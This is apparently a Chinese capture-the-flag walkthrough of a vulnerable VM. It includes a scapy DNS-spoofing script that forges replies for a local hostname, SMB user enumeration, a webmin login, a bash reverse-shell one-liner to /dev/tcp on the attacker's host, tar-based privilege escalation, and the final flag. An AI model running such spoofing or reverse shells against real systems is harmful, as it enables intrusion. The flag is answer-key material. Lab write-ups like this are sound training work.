端口扫描,查找内网存活主机
成功扫描到可疑IP 192.168.101.131
端口扫描
进80端口审查元素可以看到密码:
进10000和20000端口均为webmin的管理界面,推测密码与这个有关
由于box开启smb服务,尝试连接smb服务器:
发现失败,使用wireshark监听数据包,发现box想要请求vulnerablevm111.localdomain的IP地址,但网关返回NXDomain。
尝试搭建bind服务器,替换原有DNS服务器,添加解析记录vulnerablevm111.localdomain:
配置虚拟机DNS:
发现仍然失败,网关并未转发box的A记录请求给搭建的DNS服务器(192.168.101.129):
既然网关不转发,那就自行搭建一个DNS数据包嗅探器,主动响应vulnerablevm111.localdomain的A记录请求:
# coding utf-8
import scapy.packet
from scapy.all import *
import socket
import threading
from scapy.layers.dns import DNS, DNSQR, DNSRR
from scapy.layers.inet import IP, UDP
# should end with a "."
domain = b'vulnerablevm111.localdomain'
def callback(pkt: scapy.packet.Packet):
try:
print(pkt.getlayer(DNS))
if pkt.haslayer(DNS) and domain in pkt[DNS].qd.qname \
and pkt[DNS].qr == 0:
serverIp = pkt[IP].dst
realResolverIp = pkt[IP].src
serverPort = pkt[UDP].dport
realResolverPort = pkt[UDP].sport
queryName = pkt[DNS].qd.qname
qid = pkt[DNS].id
send(IP(src=serverIp, dst=realResolverIp)
/ UDP(sport=serverPort, dport=realResolverPort)
/ DNS(id=qid, qr=1, opcode='QUERY', aa=0, tc=0, rd=1, ra=0, z=0, ad=0, cd=0, rcode='ok', qdcount=1,
ancount=1, nscount=0, arcount=0,
qd=(DNSQR(qname=queryName, qtype='A')),
an=(DNSRR(rrname=queryName, ttl=3600, type='A', rdata='192.168.101.131'))))
print('send ok')
except Exception as e:
traceback.print_exc()
def port53Listen():
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
udp_socket.bind(("", 53))
except OSError:
# another service is using port 53, which should be fine
return
while True:
udp_socket.recvfrom(0)
# if os.geteuid() != 0:
# print('Please run in root')
# exit(1)
# stop named service in case it will affect our response
# os.system('service named stop')
# open 53 port
t = threading.Thread(target=port53Listen)
t.daemon = True
t.start()
flt = 'udp dst port 53'
print(f'start listen, filter: {flt}')
# start 53 port listen and response
sniff(prn=callback, filter=flt, iface='VMware Network Adapter VMnet8')
成功收到服务器响应。
使用enum4linux遍历smb用户:
发现用户名:masterchef
使用之前获取的密码broccoli登录webmin,发现20000端口可以进入:
左下角进入webmin终端,发现一个welcome.txt文件
尝试使用bash反弹shell:
box执行:
bash -c 'exec bash -i &>/dev/tcp/192.168.101.128/8888 <&1'
kali nc嗅探,得到shell
tar文件可执行
进入var文件夹,发现backups下面有文件:
里面有一串字符串:Ts&4&YurgtRX(=~h
怀疑是root密码,尝试登录root:
登录失败,怀疑该备份文件与之前的tar程序有关,尝试使用tar程序压缩和解压这个文件:
获取到另一个密码:
成功获取到flag:FLAG{UH0H_1_H4V3_B33N_3XP053D!1!1@@}